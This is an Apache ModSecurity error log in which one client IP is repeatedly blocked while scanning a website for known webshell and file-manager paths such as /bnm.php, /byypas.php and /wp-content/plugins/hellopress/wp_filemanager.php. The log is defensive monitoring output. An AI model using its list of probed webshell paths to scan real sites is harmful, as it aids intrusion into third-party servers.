[Wed Apr 15 21:55:56.792545 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:47477] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "ad-Y7BcEkLCmvF0fjDcUTgAAAJE"]
[Wed Apr 15 21:55:57.518493 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:60456] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "ad-Y7Xg-gnM2Ga0cGACJnQAAARI"]
[Wed Apr 15 21:55:58.135967 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:59196] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnm.php"] [unique_id "ad-Y7ng-gnM2Ga0cGACJnwAAAQ4"]
[Wed Apr 15 21:55:59.657133 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:37475] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-Y7xcEkLCmvF0fjDcUVwAAAJc"]
[Wed Apr 15 21:56:00.536651 2026] [:error] [pid 23913:tid 23932] [client 172.161.107.89:62178] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-Y8FUaK3MLdSaLOyi2dgAAAVE"]
[Wed Apr 15 21:56:01.518860 2026] [:error] [pid 31053:tid 31075] [client 172.161.107.89:60451] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-Y8RcEkLCmvF0fjDcUXgAAAJM"]
[Wed Apr 15 21:56:03.058652 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:59142] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-Y8xcEkLCmvF0fjDcUZAAAAIs"]
[Wed Apr 15 21:56:03.861650 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:62145] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "ad-Y88eG3wSKTO7NWFHTwAAAANI"]
[Wed Apr 15 21:56:04.506423 2026] [:error] [pid 23913:tid 23915] [client 172.161.107.89:51730] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "ad-Y9FUaK3MLdSaLOyi2jQAAAUA"]
[Wed Apr 15 21:56:05.533941 2026] [:error] [pid 23913:tid 23935] [client 172.161.107.89:62631] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "ad-Y9VUaK3MLdSaLOyi2kgAAAVQ"]
[Wed Apr 15 21:56:06.655282 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:50306] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "ad-Y9n5gwVEVXHfVSiqtRwAAAEk"]
[Wed Apr 15 21:56:07.675907 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:46566] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "ad-Y9xcEkLCmvF0fjDcUbgAAAJU"]
[Wed Apr 15 21:56:08.498648 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:37464] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "ad-Y-BcEkLCmvF0fjDcUcwAAAIY"]
[Wed Apr 15 21:56:09.321994 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:33897] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "ad-Y-Xg-gnM2Ga0cGACJtwAAAQY"]
[Wed Apr 15 21:56:10.360945 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:47982] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "ad-Y-hcEkLCmvF0fjDcUeQAAAIE"]
[Wed Apr 15 21:56:11.243855 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:55939] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "ad-Y-3g-gnM2Ga0cGACJvAAAAQk"]
[Wed Apr 15 21:56:12.528298 2026] [:error] [pid 30956:tid 30980] [client 172.161.107.89:42511] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "ad-Y_EBGUpjaWntNYq2V3wAAABQ"]
[Wed Apr 15 21:56:13.545312 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:62593] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "ad-Y_ceG3wSKTO7NWFHTxgAAAMA"]
[Wed Apr 15 21:56:14.668891 2026] [:error] [pid 23913:tid 23919] [client 172.161.107.89:55993] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "ad-Y_lUaK3MLdSaLOyi2pQAAAUQ"]
[Wed Apr 15 21:56:15.867434 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:55954] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "ad-Y_xcEkLCmvF0fjDcUhwAAAI0"]
[Wed Apr 15 21:56:16.719949 2026] [:error] [pid 30957:tid 30999] [client 172.161.107.89:55139] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "ad-ZAH5gwVEVXHfVSiqtVgAAAEo"]
[Wed Apr 15 21:56:17.377543 2026] [:error] [pid 37370:tid 37372] [client 172.161.107.89:53542] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "ad-ZAXg-gnM2Ga0cGACJwgAAAQA"]
[Wed Apr 15 21:56:18.693282 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:47957] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "ad-ZAhcEkLCmvF0fjDcUjwAAAII"]
[Wed Apr 15 21:56:20.163301 2026] [:error] [pid 37370:tid 37383] [client 172.161.107.89:53444] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "ad-ZBHg-gnM2Ga0cGACJxAAAAQs"]
[Wed Apr 15 21:56:22.449453 2026] [:error] [pid 30958:tid 31018] [client 172.161.107.89:49139] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "ad-ZBseG3wSKTO7NWFHT1gAAAMI"]
[Wed Apr 15 21:56:23.046104 2026] [:error] [pid 30958:tid 31026] [client 172.161.107.89:58012] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "ad-ZB8eG3wSKTO7NWFHT1wAAAMo"]
[Wed Apr 15 21:56:23.811165 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:46149] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "ad-ZBxcEkLCmvF0fjDcUpAAAAIM"]
[Wed Apr 15 21:56:25.354595 2026] [:error] [pid 23913:tid 23937] [client 172.161.107.89:49093] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "ad-ZCVUaK3MLdSaLOyi2rgAAAVY"]
[Wed Apr 15 21:56:37.620986 2026] [:error] [pid 30958:tid 31017] [client 172.161.107.89:47018] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "ad-ZFceG3wSKTO7NWFHUIQAAAME"]
[Wed Apr 15 21:56:41.158633 2026] [:error] [pid 31053:tid 31057] [client 172.161.107.89:62378] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "ad-ZGRcEkLCmvF0fjDcU1AAAAIE"]
[Wed Apr 15 21:56:42.197048 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:37439] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "ad-ZGng-gnM2Ga0cGACJ3QAAAQk"]
[Wed Apr 15 21:56:43.013518 2026] [:error] [pid 30958:tid 31032] [client 172.161.107.89:60777] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mode.php"] [unique_id "ad-ZG8eG3wSKTO7NWFHUOQAAANA"]
[Wed Apr 15 21:56:43.715533 2026] [:error] [pid 30956:tid 30979] [client 172.161.107.89:1068] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "ad-ZG0BGUpjaWntNYq2WBAAAABM"]
[Wed Apr 15 21:56:44.898477 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:42175] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "ad-ZHH5gwVEVXHfVSiqteAAAAFM"]
[Wed Apr 15 21:56:45.617386 2026] [:error] [pid 23913:tid 23915] [client 172.161.107.89:54836] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "ad-ZHVUaK3MLdSaLOyi2tgAAAUA"]
[Wed Apr 15 21:56:46.346412 2026] [:error] [pid 23913:tid 23925] [client 172.161.107.89:58531] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/set.php"] [unique_id "ad-ZHlUaK3MLdSaLOyi2twAAAUo"]
[Wed Apr 15 21:56:47.086999 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:60717] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hroxw.php"] [unique_id "ad-ZHxcEkLCmvF0fjDcU4wAAAI0"]
[Wed Apr 15 21:56:48.039589 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:60785] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hroxw.php"] [unique_id "ad-ZIBcEkLCmvF0fjDcU5AAAAII"]
[Wed Apr 15 21:56:49.062187 2026] [:error] [pid 23913:tid 23937] [client 172.161.107.89:58940] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hroxw.php"] [unique_id "ad-ZIVUaK3MLdSaLOyi2vQAAAVY"]
[Wed Apr 15 21:56:49.855504 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:54822] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hroxw.php"] [unique_id "ad-ZIRcEkLCmvF0fjDcU5wAAAJE"]
[Wed Apr 15 21:56:51.054896 2026] [:error] [pid 30956:tid 30962] [client 172.161.107.89:37814] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "ad-ZI0BGUpjaWntNYq2WBQAAAAI"]
[Wed Apr 15 21:56:52.059274 2026] [:error] [pid 30958:tid 31023] [client 172.161.107.89:60723] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "ad-ZJMeG3wSKTO7NWFHUQAAAAMc"]
[Wed Apr 15 21:56:53.170127 2026] [:error] [pid 23913:tid 23925] [client 172.161.107.89:58497] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "ad-ZJVUaK3MLdSaLOyi2ygAAAUo"]
[Wed Apr 15 21:56:54.491085 2026] [:error] [pid 23913:tid 23921] [client 172.161.107.89:37428] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "ad-ZJlUaK3MLdSaLOyi20AAAAUY"]
[Wed Apr 15 21:56:55.101942 2026] [:error] [pid 30956:tid 30973] [client 172.161.107.89:1036] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "ad-ZJ0BGUpjaWntNYq2WBwAAAA0"]
[Wed Apr 15 21:56:56.090106 2026] [:error] [pid 23913:tid 23922] [client 172.161.107.89:58916] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "ad-ZKFUaK3MLdSaLOyi20wAAAUc"]
[Wed Apr 15 21:56:57.414054 2026] [:error] [pid 30957:tid 31001] [client 172.161.107.89:37777] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "ad-ZKX5gwVEVXHfVSiqtjQAAAEw"]
[Wed Apr 15 21:56:58.489015 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:37402] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zoo.php"] [unique_id "ad-ZKng-gnM2Ga0cGACKAgAAAQg"]
[Wed Apr 15 21:56:59.166589 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:60734] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "ad-ZK0BGUpjaWntNYq2WDgAAABA"]
[Wed Apr 15 21:57:00.402197 2026] [:error] [pid 30957:tid 31011] [client 172.161.107.89:49899] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "ad-ZLH5gwVEVXHfVSiqtmQAAAFY"]
[Wed Apr 15 21:57:01.254672 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:42116] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "ad-ZLRcEkLCmvF0fjDcU9gAAAI0"]
[Wed Apr 15 21:57:01.918315 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:60702] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaza.php"] [unique_id "ad-ZLRcEkLCmvF0fjDcU-wAAAIc"]
[Wed Apr 15 21:57:02.533940 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:64390] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-ZLhcEkLCmvF0fjDcU_wAAAIM"]
[Wed Apr 15 21:57:03.194630 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:53432] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-ZLxcEkLCmvF0fjDcVBAAAAII"]
[Wed Apr 15 21:57:04.286207 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:49856] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/retu11.PhP7"] [unique_id "ad-ZMBcEkLCmvF0fjDcVDAAAAIs"]
